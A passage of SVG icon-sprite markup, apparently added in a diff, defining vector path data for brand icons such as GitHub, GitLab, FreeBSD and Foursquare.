3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z"></path> + </symbol> + <symbol id="forumbee" viewBox="0 0 448 512"> + <path d="M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z"></path> + </symbol> + <symbol id="foursquare" viewBox="0 0 368 512"> + <path d="M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z"></path> + </symbol> + <symbol id="free-code-camp" viewBox="0 0 576 512"> + <path d="M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z"></path> + </symbol> + <symbol id="freebsd" viewBox="0 0 448 512"> + <path d="M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z"></path> + </symbol> + <symbol id="fulcrum" viewBox="0 0 320 512"> + <path d="M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z"></path> + </symbol> + <symbol id="galactic-republic" viewBox="0 0 496 512"> + <path d="M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z"></path> + </symbol> + <symbol id="galactic-senate" viewBox="0 0 512 512"> + <path d="M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z"></path> + </symbol> + <symbol id="get-pocket" viewBox="0 0 448 512"> + <path d="M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z"></path> + </symbol> + <symbol id="gg" viewBox="0 0 512 512"> + <path d="M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z"></path> + </symbol> + <symbol id="gg-circle" viewBox="0 0 512 512"> + <path d="M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z"></path> + </symbol> + <symbol id="git" viewBox="0 0 512 512"> + <path d="M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z"></path> + </symbol> + <symbol id="git-alt" viewBox="0 0 448 512"> + <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> + </symbol> + <symbol id="git-square" viewBox="0 0 448 512"> + <path d="M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z"></path> + </symbol> + <symbol id="github" viewBox="0 0 496 512"> + <path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"></path> + </symbol> + <symbol id="github-alt" viewBox="0 0 480 512"> + <path d="M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z"></path> + </symbol> + <symbol id="github-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z"></path> + </symbol> + <symbol id="gitkraken" viewBox="0 0 592 512"> + <path d="M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z"></path> + </symbol> + <symbol id="gitlab" viewBox="0 0 512 512"> + <path d="M105.2 24.9c-3.1-8.9-15.7-8.9-18.9 0L29.8 199.7h132c-.1 0-56.6-174.8-56.6-174.8zM.9 287.7c-2.6 8 .3 16.9 7.1 22l247.9 184-226.2-294zm160.8-88l94.3 294 94.3-294zm349.4 88l-28.8-88-226.3 294 247.9-184c6.9-5.1 9.7-14 7.2-22zM425.7 24.9c-3.1-8.9-15.7-8.9-18.9 0l-56.6 174.8h132z"></path> + </symbol> + <symbol id="gitter" viewBox="0 0 384 512"> + <path d="M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"></path> + </symbol> + <symbol id="glide" viewBox="0 0 448 512"> + <path d="M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z"></path> + </symbol> + <symbol id="glide-g" viewBox="0 0 448 512"> + <path d="M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z"></path> + </symbol> + <symbol id="gofore" viewBox="0 0 400 512"> + <path d="M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z"></path> + </symbol> + <symbol id="goodreads" viewBox="0 0 448 512"> + <path d="M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 